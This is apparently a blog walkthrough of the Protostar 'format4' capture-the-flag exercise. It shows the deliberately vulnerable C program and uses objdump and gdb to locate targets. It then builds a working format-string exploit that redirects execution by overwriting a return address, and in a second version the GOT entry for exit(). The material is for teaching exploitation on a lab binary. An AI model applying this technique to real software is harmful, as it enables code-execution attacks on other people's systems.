Protostar exploits format4

Introduction

Protostar exploits are a cool bunch of ctf type exercises that focus on Linux  binary exploits that progressively get harder. A ISO containing the OS and challenges can be downloaded.

The website with all information and downloads is at https://exploit-exercises.com/protostar/

Challenge

Test run

user@protostar:~$ /opt/protostar/bin/format4
test
test

Exploit

Hint: objdump -TR is your friend

Need to redirect program execution flow.

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

int target;

void hello()
{
 printf("code execution redirected! you winn");
 _exit(1);
}

void vuln()
{
 char buffer[512];

 fgets(buffer, sizeof(buffer), stdin);

 printf(buffer);

 exit(1); 
}

int main(int argc, char **argv)
{
 vuln();
}

Looks like we need the program to reach the hello() function.

If we are to use a format string exploit then we most likely need to exploit the printf() call in vuln() and somehow overwrite the return address on the stack after printf is called, such that it points to hello() instead of returning back to vuln().

Let’s find the memory location for the hello() function.

Again we will use objdump -t option. This command will print the the binary’s symbol table. The symbol we want is the reference to the ‘hello’ function and it’s memory location.

user@protostar:~$ objdump -t /opt/protostar/bin/format4 |grep hello
080484b4 g F .text 0000001e hello

There we have it, hello() should be located at memory address 0x080484b4.

Now we need to construct the exploit format string payload.

First step is to figure out which position on the stack the ‘buffer’ variable is stored.

user@protostar:~$ for i in {1..254}; do echo -e "AAAA%$i$p-$i" |/opt/protostar/bin/format4;done |grep 0x41414141
AAAA0x41414141-4

I iterated from 1-254 to find the first part of the string of AAAA and it showed up at 4th position.

I tried to confirm this once more.

user@protostar:~$ echo -e "AAAA%4$p" |/opt/protostar/bin/format4
AAAA0x41414141

Definitely the 4th position.

The payload so far

AAAA%4$p

AAAA = start of the string parameter

%4 = Position on the stack that the ‘string’ (AAAA) variable is stored.

$p = This will print out the contents of the memory location at stack position 4.

All we need to do now is replace the AAAAs with the memory location on the stack where printf() will return program control back to the vuln() after it completes. We know that when printf() is called, the location of the instruction pointer (IP) where program control should return will be popped onto the stack. If we search the stack for that IP then we know the memory location we need to overwrite.

user@protostar:~$ gdb -q /opt/protostar/bin/format4
Reading symbols from /opt/protostar/bin/format4...done.
(gdb) b vuln
Breakpoint 2 at 0x80484db: file format4/format4.c, line 18.
(gdb) r
Starting program: /opt/protostar/bin/format4

Breakpoint 2, vuln () at format4/format4.c:18
18 in format4/format4.c
(gdb) disassemble
Dump of assembler code for function vuln:
0x080484d2 <vuln+0>: push %ebp
0x080484d3 <vuln+1>: mov %esp,%ebp
0x080484d5 <vuln+3>: sub $0x218,%esp
0x080484db <vuln+9>: mov 0x8049730,%eax
0x080484e0 <vuln+14>: mov %eax,0x8(%esp)
0x080484e4 <vuln+18>: movl $0x200,0x4(%esp)
0x080484ec <vuln+26>: lea -0x208(%ebp),%eax
0x080484f2 <vuln+32>: mov %eax,(%esp)
0x080484f5 <vuln+35>: call 0x804839c <fgets@plt>
0x080484fa <vuln+40>: lea -0x208(%ebp),%eax
0x08048500 <vuln+46>: mov %eax,(%esp)
0x08048503 <vuln+49>: call 0x80483cc <printf@plt>
0x08048508 <vuln+54>: movl $0x1,(%esp)
0x0804850f <vuln+61>: call 0x80483ec <exit@plt>
End of assembler dump.

We can see that once printf() completes control should return back to 0x08048508.

Let’s step into printf and search the stack for 0x08048508.

(gdb) b *0x08048503
Breakpoint 3 at 0x8048503: file format4/format4.c, line 20.
(gdb) stepi
0x080484e0 18 in format4/format4.c
(gdb) find $esp, $esp+1000, 0x08048508
0xbffff59c
1 pattern found.

We are going to use the same technique from challenge ‘format3’ to break up the memory writes into two 2 byte writes.

Payload will look something like this

Updated payload x9cxf5xffxbfx9exf5xffxbf%2044u%5$hn%31920u%4$hn

x9cxf5xffxbf = ‘vuln()’ return IP after printf() call in reverse byte order. This is on the stack.

x9exf5xffxbf = two bytes along the stack for the next two byte write reverse byte order

%2044u= This is an additional 2044 bytes to append to the previous 8 bytes (x9cxf5xffxbfx9exf5xffxbf) giving the string a total of 2052(d) =  0x0804 bytes.

%5 = Position on the stack that the ‘buffer’ (x9exf5xffxbf) variable is stored.

$hn = Write the string length (2052 bytes) to the destination address specified by the stack position modifier %5. The extra h to $n means half the size so write to 2 bytes rather than 4 bytes of address.

%31920u = This is an additional 31920u bytes to append to the previous 2052 bytes. Total bytes will be 33972(d) = 0x84b4.

%4 = Position on the stack that the ‘buffer’ (x9cxf5xffxbf) variable is stored.

$hn = Write the string length (33972 bytes) to the destination address specified by the stack position modifier %4.

user@protostar:~$ echo -e "x9cxf5xffxbfx9exf5xffxbf%2044u%5$hn%31920u%4$hn" > format4-output.txt && gdb -q /opt/protostar/bin/format4
Reading symbols from /opt/protostar/bin/format4...done.
(gdb) r <format4-output.txt
Starting program: /opt/protostar/bin/format4 <format4-output.txt
¦¦¦¦¦¦¦¦ 
 3086844960
code execution redirected! you win

Program exited with code 01.

Thank you

Wait, there’s just one for thing. We could have opted to take a more stable exploit that wouldn’t be affected by changing stack sizes and misalignments. We could have used a trick to hook the GOT (global offset table) and overridden the entry for the exit() function.

If you notice the source code, vuln() has an entry for exit(1) system call right after printf().

To discover where in memory the GOT entry for exit is we could turn to gdb or objdump.

user@protostar:~$ objdump -TR /opt/protostar/bin/format4 |grep exit
00000000      DF *UND* 00000000  GLIBC_2.0   _exit
00000000      DF *UND* 00000000  GLIBC_2.0   exit
08049718 R_386_JUMP_SLOT   _exit
08049724 R_386_JUMP_SLOT   exit

Looks like we need to overwrite 0x08049724

Let’s rewrite the exploit with this new base address.

user@protostar:~$ echo -e "x24x97x04x08x26x97x04x08%2044u%5$hn%31920u%4$hn" | /opt/protostar/bin/format4
...
code execution redirected! you win

Thank you

One thought on “Protostar exploits format4

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out /  Change )

Twitter picture

You are commenting using your Twitter account. Log Out /  Change )

Facebook photo

You are commenting using your Facebook account. Log Out /  Change )

Connecting to %s